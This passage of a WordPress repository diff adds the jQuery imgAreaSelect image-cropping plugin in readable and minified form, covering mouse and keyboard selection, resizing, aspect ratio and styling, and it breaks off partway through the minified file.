+     * @param $elem
+     *            A jQuery object containing the element(s) to hide/fade out
+     * @param fn
+     *            Callback function to be called when fadeOut() completes
+     */
+    function hide($elem, fn) {
+        options.fadeSpeed ? $elem.fadeOut(options.fadeSpeed, fn) : $elem.hide();
+    }
+
+    /**
+     * Selection area mousemove event handler
+     *
+     * @param event
+     *            The event object
+     */
+    function areaMouseMove(event) {
+        var x = selX(evX(event)) - selection.x1,
+            y = selY(evY(event)) - selection.y1;
+
+        if (!adjusted) {
+            adjust();
+            adjusted = true;
+
+            $box.one('mouseout', function () { adjusted = false; });
+        }
+
+        /* Clear the resize mode */
+        resize = '';
+
+        if (options.resizable) {
+            /*
+             * Check if the mouse pointer is over the resize margin area and set
+             * the resize mode accordingly
+             */
+            if (y <= options.resizeMargin)
+                resize = 'n';
+            else if (y >= selection.height - options.resizeMargin)
+                resize = 's';
+            if (x <= options.resizeMargin)
+                resize += 'w';
+            else if (x >= selection.width - options.resizeMargin)
+                resize += 'e';
+        }
+
+        $box.css('cursor', resize ? resize + '-resize' :
+            options.movable ? 'move' : '');
+        if ($areaOpera)
+            $areaOpera.toggle();
+    }
+
+    /**
+     * Document mouseup event handler
+     *
+     * @param event
+     *            The event object
+     */
+    function docMouseUp(event) {
+        /* Set back the default cursor */
+        $('body').css('cursor', '');
+        /*
+         * If autoHide is enabled, or if the selection has zero width/height,
+         * hide the selection and the outer area
+         */
+        if (options.autoHide || selection.width * selection.height == 0)
+            hide($box.add($outer), function () { $(this).hide(); });
+
+        $(document).unbind('mousemove', selectingMouseMove);
+        $box.mousemove(areaMouseMove);
+
+        options.onSelectEnd(img, getSelection());
+    }
+
+    /**
+     * Selection area mousedown event handler
+     *
+     * @param event
+     *            The event object
+     * @return false
+     */
+    function areaMouseDown(event) {
+        if (event.which != 1) return false;
+
+        adjust();
+
+        if (resize) {
+            /* Resize mode is in effect */
+            $('body').css('cursor', resize + '-resize');
+
+            x1 = viewX(selection[/w/.test(resize) ? 'x2' : 'x1']);
+            y1 = viewY(selection[/n/.test(resize) ? 'y2' : 'y1']);
+
+            $(document).mousemove(selectingMouseMove)
+                .one('mouseup', docMouseUp);
+            $box.unbind('mousemove', areaMouseMove);
+        }
+        else if (options.movable) {
+            startX = left + selection.x1 - evX(event);
+            startY = top + selection.y1 - evY(event);
+
+            $box.unbind('mousemove', areaMouseMove);
+
+            $(document).mousemove(movingMouseMove)
+                .one('mouseup', function () {
+                    options.onSelectEnd(img, getSelection());
+
+                    $(document).unbind('mousemove', movingMouseMove);
+                    $box.mousemove(areaMouseMove);
+                });
+        }
+        else
+            $img.mousedown(event);
+
+        return false;
+    }
+
+    /**
+     * Adjust the x2/y2 coordinates to maintain aspect ratio (if defined)
+     *
+     * @param xFirst
+     *            If set to <code>true</code>, calculate x2 first. Otherwise,
+     *            calculate y2 first.
+     */
+    function fixAspectRatio(xFirst) {
+        if (aspectRatio)
+            if (xFirst) {
+                x2 = max(left, min(left + imgWidth,
+                    x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1)));
+                y2 = round(max(top, min(top + imgHeight,
+                    y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1))));
+                x2 = round(x2);
+            }
+            else {
+                y2 = max(top, min(top + imgHeight,
+                    y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1)));
+                x2 = round(max(left, min(left + imgWidth,
+                    x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1))));
+                y2 = round(y2);
+            }
+    }
+
+    /**
+     * Resize the selection area respecting the minimum/maximum dimensions and
+     * aspect ratio
+     */
+    function doResize() {
+        /*
+         * Make sure the top left corner of the selection area stays within
+         * image boundaries (it might not if the image source was dynamically
+         * changed).
+         */
+        x1 = min(x1, left + imgWidth);
+        y1 = min(y1, top + imgHeight);
+
+        if (abs(x2 - x1) < minWidth) {
+            /* Selection width is smaller than minWidth */
+            x2 = x1 - minWidth * (x2 < x1 || -1);
+
+            if (x2 < left)
+                x1 = left + minWidth;
+            else if (x2 > left + imgWidth)
+                x1 = left + imgWidth - minWidth;
+        }
+
+        if (abs(y2 - y1) < minHeight) {
+            /* Selection height is smaller than minHeight */
+            y2 = y1 - minHeight * (y2 < y1 || -1);
+
+            if (y2 < top)
+                y1 = top + minHeight;
+            else if (y2 > top + imgHeight)
+                y1 = top + imgHeight - minHeight;
+        }
+
+        x2 = max(left, min(x2, left + imgWidth));
+        y2 = max(top, min(y2, top + imgHeight));
+
+        fixAspectRatio(abs(x2 - x1) < abs(y2 - y1) * aspectRatio);
+
+        if (abs(x2 - x1) > maxWidth) {
+            /* Selection width is greater than maxWidth */
+            x2 = x1 - maxWidth * (x2 < x1 || -1);
+            fixAspectRatio();
+        }
+
+        if (abs(y2 - y1) > maxHeight) {
+            /* Selection height is greater than maxHeight */
+            y2 = y1 - maxHeight * (y2 < y1 || -1);
+            fixAspectRatio(true);
+        }
+
+        selection = { x1: selX(min(x1, x2)), x2: selX(max(x1, x2)),
+            y1: selY(min(y1, y2)), y2: selY(max(y1, y2)),
+            width: abs(x2 - x1), height: abs(y2 - y1) };
+
+        update();
+
+        options.onSelectChange(img, getSelection());
+    }
+
+    /**
+     * Mousemove event handler triggered when the user is selecting an area
+     *
+     * @param event
+     *            The event object
+     * @return false
+     */
+    function selectingMouseMove(event) {
+        x2 = /w|e|^$/.test(resize) || aspectRatio ? evX(event) : viewX(selection.x2);
+        y2 = /n|s|^$/.test(resize) || aspectRatio ? evY(event) : viewY(selection.y2);
+
+        doResize();
+
+        return false;
+    }
+
+    /**
+     * Move the selection area
+     *
+     * @param newX1
+     *            New viewport X1
+     * @param newY1
+     *            New viewport Y1
+     */
+    function doMove(newX1, newY1) {
+        x2 = (x1 = newX1) + selection.width;
+        y2 = (y1 = newY1) + selection.height;
+
+        $.extend(selection, { x1: selX(x1), y1: selY(y1), x2: selX(x2),
+            y2: selY(y2) });
+
+        update();
+
+        options.onSelectChange(img, getSelection());
+    }
+
+    /**
+     * Mousemove event handler triggered when the selection area is being moved
+     *
+     * @param event
+     *            The event object
+     * @return false
+     */
+    function movingMouseMove(event) {
+        x1 = max(left, min(startX + evX(event), left + imgWidth - selection.width));
+        y1 = max(top, min(startY + evY(event), top + imgHeight - selection.height));
+
+        doMove(x1, y1);
+
+        event.preventDefault();
+        return false;
+    }
+
+    /**
+     * Start selection
+     */
+    function startSelection() {
+        $(document).unbind('mousemove', startSelection);
+        adjust();
+
+        x2 = x1;
+        y2 = y1;
+        doResize();
+
+        resize = '';
+
+        if (!$outer.is(':visible'))
+            /* Show the plugin elements */
+            $box.add($outer).hide().fadeIn(options.fadeSpeed||0);
+
+        shown = true;
+
+        $(document).unbind('mouseup', cancelSelection)
+            .mousemove(selectingMouseMove).one('mouseup', docMouseUp);
+        $box.unbind('mousemove', areaMouseMove);
+
+        options.onSelectStart(img, getSelection());
+    }
+
+    /**
+     * Cancel selection
+     */
+    function cancelSelection() {
+        $(document).unbind('mousemove', startSelection)
+            .unbind('mouseup', cancelSelection);
+        hide($box.add($outer));
+
+        setSelection(selX(x1), selY(y1), selX(x1), selY(y1));
+
+        /* If this is an API call, callback functions should not be triggered */
+        if (!(this instanceof $.imgAreaSelect)) {
+            options.onSelectChange(img, getSelection());
+            options.onSelectEnd(img, getSelection());
+        }
+    }
+
+    /**
+     * Image mousedown event handler
+     *
+     * @param event
+     *            The event object
+     * @return false
+     */
+    function imgMouseDown(event) {
+        /* Ignore the event if animation is in progress */
+        if (event.which != 1 || $outer.is(':animated')) return false;
+
+        adjust();
+        startX = x1 = evX(event);
+        startY = y1 = evY(event);
+
+        /* Selection will start when the mouse is moved */
+        $(document).mousemove(startSelection).mouseup(cancelSelection);
+
+        return false;
+    }
+
+    /**
+     * Window resize event handler
+     */
+    function windowResize() {
+        doUpdate(false);
+    }
+
+    /**
+     * Image load event handler. This is the final part of the initialization
+     * process.
+     */
+    function imgLoad() {
+        imgLoaded = true;
+
+        /* Set options */
+        setOptions(options = $.extend({
+            classPrefix: 'imgareaselect',
+            movable: true,
+            parent: 'body',
+            resizable: true,
+            resizeMargin: 10,
+            onInit: function () {},
+            onSelectStart: function () {},
+            onSelectChange: function () {},
+            onSelectEnd: function () {}
+        }, options));
+
+        $box.add($outer).css({ visibility: '' });
+
+        if (options.show) {
+            shown = true;
+            adjust();
+            update();
+            $box.add($outer).hide().fadeIn(options.fadeSpeed||0);
+        }
+
+        /*
+         * Call the onInit callback. The setTimeout() call is used to ensure
+         * that the plugin has been fully initialized and the object instance is
+         * available (so that it can be obtained in the callback).
+         */
+        setTimeout(function () { options.onInit(img, getSelection()); }, 0);
+    }
+
+    /**
+     * Document keypress event handler
+     *
+     * @param event
+     *            The event object
+     * @return false
+     */
+    var docKeyPress = function(event) {
+        var k = options.keys, d, t, key = event.keyCode;
+
+        d = !isNaN(k.alt) && (event.altKey || event.originalEvent.altKey) ? k.alt :
+            !isNaN(k.ctrl) && event.ctrlKey ? k.ctrl :
+            !isNaN(k.shift) && event.shiftKey ? k.shift :
+            !isNaN(k.arrows) ? k.arrows : 10;
+
+        if (k.arrows == 'resize' || (k.shift == 'resize' && event.shiftKey) ||
+            (k.ctrl == 'resize' && event.ctrlKey) ||
+            (k.alt == 'resize' && (event.altKey || event.originalEvent.altKey)))
+        {
+            /* Resize selection */
+
+            switch (key) {
+            case 37:
+                /* Left */
+                d = -d;
+            case 39:
+                /* Right */
+                t = max(x1, x2);
+                x1 = min(x1, x2);
+                x2 = max(t + d, x1);
+                fixAspectRatio();
+                break;
+            case 38:
+                /* Up */
+                d = -d;
+            case 40:
+                /* Down */
+                t = max(y1, y2);
+                y1 = min(y1, y2);
+                y2 = max(t + d, y1);
+                fixAspectRatio(true);
+                break;
+            default:
+                return;
+            }
+
+            doResize();
+        }
+        else {
+            /* Move selection */
+
+            x1 = min(x1, x2);
+            y1 = min(y1, y2);
+
+            switch (key) {
+            case 37:
+                /* Left */
+                doMove(max(x1 - d, left), y1);
+                break;
+            case 38:
+                /* Up */
+                doMove(x1, max(y1 - d, top));
+                break;
+            case 39:
+                /* Right */
+                doMove(x1 + min(d, imgWidth - selX(x2)), y1);
+                break;
+            case 40:
+                /* Down */
+                doMove(x1, y1 + min(d, imgHeight - selY(y2)));
+                break;
+            default:
+                return;
+            }
+        }
+
+        return false;
+    };
+
+    /**
+     * Apply style options to plugin element (or multiple elements)
+     *
+     * @param $elem
+     *            A jQuery object representing the element(s) to style
+     * @param props
+     *            An object that maps option names to corresponding CSS
+     *            properties
+     */
+    function styleOptions($elem, props) {
+        for (var option in props)
+            if (options[option] !== undefined)
+                $elem.css(props[option], options[option]);
+    }
+
+    /**
+     * Set plugin options
+     *
+     * @param newOptions
+     *            The new options object
+     */
+    function setOptions(newOptions) {
+        if (newOptions.parent)
+            ($parent = $(newOptions.parent)).append($box.add($outer));
+
+        /* Merge the new options with the existing ones */
+        $.extend(options, newOptions);
+
+        adjust();
+
+        if (newOptions.handles != null) {
+            /* Recreate selection area handles */
+            $handles.remove();
+            $handles = $([]);
+
+            i = newOptions.handles ? newOptions.handles == 'corners' ? 4 : 8 : 0;
+
+            while (i--)
+                $handles = $handles.add(div());
+
+            /* Add a class to handles and set the CSS properties */
+            $handles.addClass(options.classPrefix + '-handle').css({
+                position: 'absolute',
+                /*
+                 * The font-size property needs to be set to zero, otherwise
+                 * Internet Explorer makes the handles too large
+                 */
+                fontSize: 0,
+                zIndex: zIndex + 1 || 1
+            });
+
+            /*
+             * If handle width/height has not been set with CSS rules, set the
+             * default 5px
+             */
+            if (!parseInt($handles.css('width')) >= 0)
+                $handles.width(5).height(5);
+
+            /*
+             * If the borderWidth option is in use, add a solid border to
+             * handles
+             */
+            if (o = options.borderWidth)
+                $handles.css({ borderWidth: o, borderStyle: 'solid' });
+
+            /* Apply other style options */
+            styleOptions($handles, { borderColor1: 'border-color',
+                borderColor2: 'background-color',
+                borderOpacity: 'opacity' });
+        }
+
+        /* Calculate scale factors */
+        scaleX = options.imageWidth / imgWidth || 1;
+        scaleY = options.imageHeight / imgHeight || 1;
+
+        /* Set selection */
+        if (newOptions.x1 != null) {
+            setSelection(newOptions.x1, newOptions.y1, newOptions.x2,
+                newOptions.y2);
+            newOptions.show = !newOptions.hide;
+        }
+
+        if (newOptions.keys)
+            /* Enable keyboard support */
+            options.keys = $.extend({ shift: 1, ctrl: 'resize' },
+                newOptions.keys);
+
+        /* Add classes to plugin elements */
+        $outer.addClass(options.classPrefix + '-outer');
+        $area.addClass(options.classPrefix + '-selection');
+        for (i = 0; i++ < 4;)
+            $($border[i-1]).addClass(options.classPrefix + '-border' + i);
+
+        /* Apply style options */
+        styleOptions($area, { selectionColor: 'background-color',
+            selectionOpacity: 'opacity' });
+        styleOptions($border, { borderOpacity: 'opacity',
+            borderWidth: 'border-width' });
+        styleOptions($outer, { outerColor: 'background-color',
+            outerOpacity: 'opacity' });
+        if (o = options.borderColor1)
+            $($border[0]).css({ borderStyle: 'solid', borderColor: o });
+        if (o = options.borderColor2)
+            $($border[1]).css({ borderStyle: 'dashed', borderColor: o });
+
+        /* Append all the selection area elements to the container box */
+        $box.append($area.add($border).add($areaOpera)).append($handles);
+
+        if (msie) {
+            if (o = ($outer.css('filter')||'').match(/opacity=(\d+)/))
+                $outer.css('opacity', o[1]/100);
+            if (o = ($border.css('filter')||'').match(/opacity=(\d+)/))
+                $border.css('opacity', o[1]/100);
+        }
+
+        if (newOptions.hide)
+            hide($box.add($outer));
+        else if (newOptions.show && imgLoaded) {
+            shown = true;
+            $box.add($outer).fadeIn(options.fadeSpeed||0);
+            doUpdate();
+        }
+
+        /* Calculate the aspect ratio factor */
+        aspectRatio = (d = (options.aspectRatio || '').split(/:/))[0] / d[1];
+
+        $img.add($outer).unbind('mousedown', imgMouseDown);
+
+        if (options.disable || options.enable === false) {
+            /* Disable the plugin */
+            $box.unbind('mousemove', areaMouseMove).unbind('mousedown', areaMouseDown);
+            $(window).unbind('resize', windowResize);
+        }
+        else {
+            if (options.enable || options.disable === false) {
+                /* Enable the plugin */
+                if (options.resizable || options.movable)
+                    $box.mousemove(areaMouseMove).mousedown(areaMouseDown);
+
+                $(window).resize(windowResize);
+            }
+
+            if (!options.persistent)
+                $img.add($outer).mousedown(imgMouseDown);
+        }
+
+        options.enable = options.disable = undefined;
+    }
+
+    /**
+     * Remove plugin completely
+     */
+    this.remove = function () {
+        /*
+         * Call setOptions with { disable: true } to unbind the event handlers
+         */
+        setOptions({ disable: true });
+        $box.add($outer).remove();
+    };
+
+    /*
+     * Public API
+     */
+
+    /**
+     * Get current options
+     *
+     * @return An object containing the set of options currently in use
+     */
+    this.getOptions = function () { return options; };
+
+    /**
+     * Set plugin options
+     *
+     * @param newOptions
+     *            The new options object
+     */
+    this.setOptions = setOptions;
+
+    /**
+     * Get the current selection
+     *
+     * @param noScale
+     *            If set to <code>true</code>, scaling is not applied to the
+     *            returned selection
+     * @return Selection object
+     */
+    this.getSelection = getSelection;
+
+    /**
+     * Set the current selection
+     *
+     * @param x1
+     *            X coordinate of the upper left corner of the selection area
+     * @param y1
+     *            Y coordinate of the upper left corner of the selection area
+     * @param x2
+     *            X coordinate of the lower right corner of the selection area
+     * @param y2
+     *            Y coordinate of the lower right corner of the selection area
+     * @param noScale
+     *            If set to <code>true</code>, scaling is not applied to the
+     *            new selection
+     */
+    this.setSelection = setSelection;
+
+    /**
+     * Cancel selection
+     */
+    this.cancelSelection = cancelSelection;
+
+    /**
+     * Update plugin elements
+     *
+     * @param resetKeyPress
+     *            If set to <code>false</code>, this instance's keypress
+     *            event handler is not activated
+     */
+    this.update = doUpdate;
+
+    /* Do the dreaded browser detection */
+    var msie = (/msie ([\w.]+)/i.exec(ua)||[])[1],
+        opera = /opera/i.test(ua),
+        safari = /webkit/i.test(ua) && !/chrome/i.test(ua);
+
+    /*
+     * Traverse the image's parent elements (up to <body>) and find the
+     * highest z-index
+     */
+    $p = $img;
+
+    while ($p.length) {
+        zIndex = max(zIndex,
+            !isNaN($p.css('z-index')) ? $p.css('z-index') : zIndex);
+        /* Also check if any of the ancestor elements has fixed position */
+        if ($p.css('position') == 'fixed')
+            position = 'fixed';
+
+        $p = $p.parent(':not(body)');
+    }
+
+    /*
+     * If z-index is given as an option, it overrides the one found by the
+     * above loop
+     */
+    zIndex = options.zIndex || zIndex;
+
+    if (msie)
+        $img.attr('unselectable', 'on');
+
+    /*
+     * In MSIE and WebKit, we need to use the keydown event instead of keypress
+     */
+    $.imgAreaSelect.keyPress = msie || safari ? 'keydown' : 'keypress';
+
+    /*
+     * There is a bug affecting the CSS cursor property in Opera (observed in
+     * versions up to 10.00) that prevents the cursor from being updated unless
+     * the mouse leaves and enters the element again. To trigger the mouseover
+     * event, we're adding an additional div to $box and we're going to toggle
+     * it when mouse moves inside the selection area.
+     */
+    if (opera)
+        $areaOpera = div().css({ width: '100%', height: '100%',
+            position: 'absolute', zIndex: zIndex + 2 || 2 });
+
+    /*
+     * We initially set visibility to "hidden" as a workaround for a weird
+     * behaviour observed in Google Chrome 1.0.154.53 (on Windows XP). Normally
+     * we would just set display to "none", but, for some reason, if we do so
+     * then Chrome refuses to later display the element with .show() or
+     * .fadeIn().
+     */
+    $box.add($outer).css({ visibility: 'hidden', position: position,
+        overflow: 'hidden', zIndex: zIndex || '0' });
+    $box.css({ zIndex: zIndex + 2 || 2 });
+    $area.add($border).css({ position: 'absolute', fontSize: 0 });
+
+    /*
+     * If the image has been fully loaded, or if it is not really an image (eg.
+     * a div), call imgLoad() immediately; otherwise, bind it to be called once
+     * on image load event.
+     */
+    img.complete || img.readyState == 'complete' || !$img.is('img') ?
+        imgLoad() : $img.one('load', imgLoad);
+
+    /*
+     * MSIE 9.0 doesn't always fire the image load event -- resetting the src
+     * attribute seems to trigger it. The check is for version 7 and above to
+     * accommodate for MSIE 9 running in compatibility mode.
+     */
+    if (!imgLoaded && msie && msie >= 7)
+        img.src = img.src;
+};
+
+/**
+ * Invoke imgAreaSelect on a jQuery object containing the image(s)
+ *
+ * @param options
+ *            Options object
+ * @return The jQuery object or a reference to imgAreaSelect instance (if the
+ *         <code>instance</code> option was specified)
+ */
+$.fn.imgAreaSelect = function (options) {
+    options = options || {};
+
+    this.each(function () {
+        /* Is there already an imgAreaSelect instance bound to this element? */
+        if ($(this).data('imgAreaSelect')) {
+            /* Yes there is -- is it supposed to be removed? */
+            if (options.remove) {
+                /* Remove the plugin */
+                $(this).data('imgAreaSelect').remove();
+                $(this).removeData('imgAreaSelect');
+            }
+            else
+                /* Reset options */
+                $(this).data('imgAreaSelect').setOptions(options);
+        }
+        else if (!options.remove) {
+            /* No exising instance -- create a new one */
+
+            /*
+             * If neither the "enable" nor the "disable" option is present, add
+             * "enable" as the default
+             */
+            if (options.enable === undefined && options.disable === undefined)
+                options.enable = true;
+
+            $(this).data('imgAreaSelect', new $.imgAreaSelect(this, options));
+        }
+    });
+
+    if (options.instance)
+        /*
+         * Return the imgAreaSelect instance bound to the first element in the
+         * set
+         */
+        return $(this).data('imgAreaSelect');
+
+    return this;
+};
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/imgareaselect/jquery.imgareaselect.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/imgareaselect/jquery.imgareaselect.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/imgareaselect/jquery.imgareaselect.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+(function($){var abs=Math.abs,max=Math.max,min=Math.min,round=Math.round;function div(){return $('<div/>')}$.imgAreaSelect=function(img,options){var $img=$(img),imgLoaded,$box=div(),$area=div(),$border=div().add(div()).add(div()).add(div()),$outer=div().add(div()).add(div()).add(div()),$handles=$([]),$areaOpera,left,top,imgOfs={left:0,top:0},imgWidth,imgHeight,$parent,parOfs={left:0,top:0},zIndex=0,position='absolute',startX,startY,scaleX,scaleY,resize,minWidth,minHeight,maxWidth,maxHeight,aspectRatio,shown,x1,y1,x2,y2,selection={x1:0,y1:0,x2:0,y2:0,width:0,height:0},docElem=document.documentElement,ua=navigator.userAgent,$p,d,i,o,w,h,adjusted;function viewX(x){return x+imgOfs.left-parOfs.left}function viewY(y){return y+imgOfs.top-parOfs.top}function selX(x){return x-imgOfs.left+parOfs.left}function selY(y){return y-imgOfs.top+parOfs.top}function evX(event){return event.pageX-parOfs.left}function evY(event){return event.pageY-parOfs.top}function getSelection(noScale){var sx=noScale||scaleX,sy=noScale||scaleY;return{x1:round(selection.x1*sx),y1:round(selection.y1*sy),x2:round(selection.x2*sx),y2:round(selection.y2*sy),width:round(selection.x2*sx)-round(selection.x1*sx),height:round(selection.y2*sy)-round(selection.y1*sy)}}function setSelection(x1,y1,x2,y2,noScale){var sx=noScale||scaleX,sy=noScale||scaleY;selection={x1:round(x1/sx||0),y1:round(y1/sy||0),x2:round(x2/sx||0),y2:round(y2/sy||0)};selection.width=selection.x2-selection.x1;selection.height=selection.y2-selection.y1}function adjust(){if(!imgLoaded||!$img.width())return;imgOfs={left:round($img.offset().left),top:round($img.offset().top)};imgWidth=$img.innerWidth();imgHeight=$img.innerHeight();imgOfs.top+=($img.outerHeight()-imgHeight)>>1;imgOfs.left+=($img.outerWidth()-imgWidth)>>1;minWidth=round(options.minWidth/scaleX)||0;minHeight=round(options.minHeight/scaleY)||0;maxWidth=round(min(options.maxWidth/scaleX||1<<24,imgWidth));maxHeight=round(min(options.maxHeight/scaleY||1<<24,imgHeight));if($().jquery=='1.3.2'&&position=='fixed'&&!docElem['getBoundingClientRect']){imgOfs.top+=max(document.body.scrollTop,docElem.scrollTop);imgOfs.left+=max(document.body.scrollLeft,docElem.scrollLeft)}parOfs=/absolute|relative/.test($parent.css('position'))?{left:round($parent.offset().left)-$parent.scrollLeft(),top:round($parent.offset().top)-$parent.scrollTop()}:position=='fixed'?{left:$(document).scrollLeft(),top:$(document).scrollTop()}:{left:0,top:0};left=viewX(0);top=viewY(0);if(selection.x2>imgWidth||selection.y2>imgHeight)doResize()}function update(resetKeyPress){if(!shown)return;$box.css({left:viewX(selection.x1),top:viewY(selection.y1)}).add($area).width(w=selection.width).height(h=selection.height);$area.add($border).add($handles).css({left:0,top:0});$border.width(max(w-$border.outerWidth()+$border.innerWidth(),0)).height(max(h-$border.outerHeight()+$border.innerHeight(),0));$($outer[0]).css({left:left,top:top,width:selection.x1,height:imgHeight});$($outer[1]).css({left:left+selection.x1,top:top,width:w,height:selection.y1});$($outer[2]).css({left:left+selection.x2,top:top,width:imgWidth-selection.x2,height:imgHeight});$($outer[3]).css({left:left+selection.x1,top:top+selection.y2,width:w,height:imgHeight-selection.y2});w-=$handles.outerWidth();h-=$handles.outerHeight();switch($handles.length){case 8:$($handles[4]).css({left:w>>1});$($handles[5]).css({left:w,top:h>>1});$($handles[6]).css({left:w>>1,top:h});$($handles[7]).css({top:h>>1});case 4:$handles.slice(1,3).css({left:w});$handles.slice(2,4).css({top:h})}if(resetKeyPress!==false){if($.imgAreaSelect.onKeyPress!=docKeyPress)$(document).unbind($.imgAreaSelect.keyPress,$.imgAreaSelect.onKeyPress);if(options.keys)$(document)[$.imgAreaSelect.keyPress]($.imgAreaSelect.onKeyPress=docKeyPress)}if(msie&&$border.outerWidth()-$border.innerWidth()==2){$border.css('margin',0);setTimeout(function(){$border.css('margin','auto')},0)}}function doUpdate(resetKeyPress){adjust();update(resetKeyPress);x1=viewX(selection.x1);y1=viewY(selection.y1);x2=viewX(selection.x2);y2=viewY(selection.y2)}function hide($elem,fn){options.fadeSpeed?$elem.fadeOut(options.fadeSpeed,fn):$elem.hide()}function areaMouseMove(event){var x=selX(evX(event))-selection.x1,y=selY(evY(event))-selection.y1;if(!adjusted){adjust();adjusted=true;$box.one('mouseout',function(){adjusted=false})}resize='';if(options.resizable){if(y<=options.resizeMargin)resize='n';else if(y>=selection.height-options.resizeMargin)resize='s';if(x<=options.resizeMargin)resize+='w';else if(x>=selection.width-options.resizeMargin)resize+='e'}$box.css('cursor',resize?resize+'-resize':options.movable?'move':'');if($areaOpera)$areaOpera.toggle()}function docMouseUp(event){$('body').css('cursor','');if(options.autoHide||selection.width*selection.height==0)hide($box.add($outer),function(){$(this).hide()});$(document).unbind('mousemove',selectingMouseMove);$box.mousemove(areaMouseMove);options.onSelectEnd(img,getSelection())}function areaMouseDown(event){if(event.which!=1)return false;adjust();if(resize){$('body').css('cursor',resize+'-resize');x1=viewX(selection[/w/.test(resize)?'x2':'x1']);y1=viewY(selection[/n/.test(resize)?'y2':'y1']);$(document).mousemove(selectingMouseMove).one('mouseup',docMouseUp);$box.unbind('mousemove',areaMouseMove)}else if(options.movable){startX=left+selection.x1-evX(event);startY=top+selection.y1-evY(event);$box.unbind('mousemove',areaMouseMove);$(document).mousemove(movingMouseMove).one('mouseup',function(){options.onSelectEnd(img,getSelection());$(document).unbind('mousemove',movingMouseMove);$box.mousemove(areaMouseMove)})}else $img.mousedown(event);return false}function fixAspectRatio(xFirst){if(aspectRatio)if(xFirst){x2=max(left,min(left+imgWidth,x1+abs(y2-y1)*aspectRatio*(x2>x1||-1)));y2=round(max(top,min(top+imgHeight,y1+abs(x2-x1)/aspectRatio*(y2>y1||-1))));x2=round(x2)}else{y2=max(top,min(top+imgHeight,y1+abs(x2-x1)/aspectRatio*(y2>y1||-1)));x2=round(max(left,min(left+imgWidth,x1+abs(y2-y1)*aspectRatio*(x2>x1||-1))));y2=round(y2)}}function doResize(){x1=min(x1,left+imgWidth);y1=min(y1,top+imgHeight);if(abs(x2-x1)<minWidth){x2=x1-minWidth*(x2<x1||-1);if(x2<left)x1=left+minWidth;else if(x2>left+imgWidth)x1=left+imgWidth-minWidth}if(abs(y2-y1)<minHeight){y2=y1-minHeight*(y2<y1||-1);if(y2<top)y1=top+minHeight;else if(y2>top+imgHeight)y1=top+imgHeight-minHeight}x2=max(left,min(x2,left+imgWidth));y2=max(top,min(y2,top+imgHeight));fixAspectRatio(abs(x2-x1)<abs(y2-y1)*aspectRatio);if(abs(x2-x1)>maxWidth){x2=x1-maxWidth*(x2<x1||-1);fixAspectRatio()}if(abs(y2-y1)>maxHeight){y2=y1-maxHeight*(y2<y1||-1);fixAspectRatio(true)}selection={x1:selX(min(x1,x2)),x2:selX(max(x1,x2)),y1:selY(min(y1,y2)),y2:selY(max(y1,y2)),width:abs(x2-x1),height:abs(y2-y1)};update();options.onSelectChange(img,getSelection())}function selectingMouseMove(event){x2=/w|e|^$/.test(resize)||aspectRatio?evX(event):viewX(selection.x2);y2=/n|s|^$/.test(resize)||aspectRatio?evY(event):viewY(selection.y2);doResize();return false}function doMove(newX1,newY1){x2=(x1=newX1)+selection.width;y2=(y1=newY1)+selection.height;$.extend(selection,{x1:selX(x1),y1:selY(y1),x2:selX(x2),y2:selY(y2)});update();options.onSelectChange(img,getSelection())}function movingMouseMove(event){x1=max(left,min(startX+evX(event),left+imgWidth-selection.width));y1=max(top,min(startY+evY(event),top+imgHeight-selection.height));doMove(x1,y1);event.preventDefault();return false}function startSelection(){$(document).unbind('mousemove',startSelection);adjust();x2=x1;y2=y1;doResize();resize='';if(!$outer.is(':visible'))$box.add($outer).hide().fadeIn(options.fadeSpeed||0);shown=true;$(document).unbind('mouseup',cancelSelection).mousemove(selectingMouseMove).one('mouseup',docMouseUp);$box.unbind('mousemove',areaMouseMove);options.onSelectStart(img,getSelection())}function cancelSelection(){$(document).unbind('mousemove',startSelection).unbind('mouseup',cancelSelection);hide($box.add($outer));setSelection(selX(x1),selY(y1),selX(x1),selY(y1));if(!(this instanceof $.imgAreaSelect)){options.onSelectChange(img,getSelection());options.onSelectEnd(img,getSelection())}}function imgMouseDown(event){if(event.which!=1||$outer.is(':animated'))return false;adjust();startX=x1=evX(event);startY=y1=evY(event);$(document).mousemove(startSelection).mouseup(cancelSelection);return false}function windowResize(){doUpdate(false)}function imgLoad(){imgLoaded=true;setOptions(options=$.extend({classPrefix:'imgareaselect',movable:true,parent:'body',resizable:true,resizeMargin:10,onInit:function(){},onSelectStart:function(){},onSelectChange:function(){},onSelectEnd:function(){}},options));$box.add($outer).css({visibility:''});if(options.show){shown=true;adjust();update();$box.add($outer).hide().fadeIn(options.fadeSpeed||0)}setTimeout(function(){options.onInit(img,getSelection())},0)}var docKeyPress=function(event){var k=options.keys,d,t,key=event.keyCode;d=!isNaN(k.alt)&&(event.altKey||event.originalEvent.altKey)?k.alt:!isNaN(k.ctrl)&&event.ctrlKey?k.ctrl:!isNaN(k.shift)&&event.shiftKey?k.shift:!isNaN(k.arrows)?k.arrows:10;if(k.arrows=='resize'||(k.shift=='resize'&&event.shiftKey)||(k.ctrl=='resize'&&event.ctrlKey)||(k.alt=='resize'&&(event.altKey||event.originalEvent.altKey))){switch(key){case 37:d=-d;case 39:t=max(x1,x2);x1=min(x1,x2);x2=max(t+d,x1);fixAspectRatio();break;case 38:d=-d;case 40:t=max(y1,y2);y1=min(y1,y2);y2=max(t+d,y1);fixAspectRatio(true);break;default:return}doResize()}else{x1=min(x1,x2);y1=min(y1,y2);switch(key){case 37:doMove(max(x1-d,left),y1);break;case 38:doMove(x1,max(y1-d,top));break;case 39:doMove(x1+min(d,imgWidth-selX(x2)),y1);break;case 40:doMove(x1,y1+min(d,imgHeight-selY(y2)));break;default:return}}return false};function styleOptions($elem,props){for(var option in props)if(options[option]!==undefined)$elem.css(props[option],options[option])}function 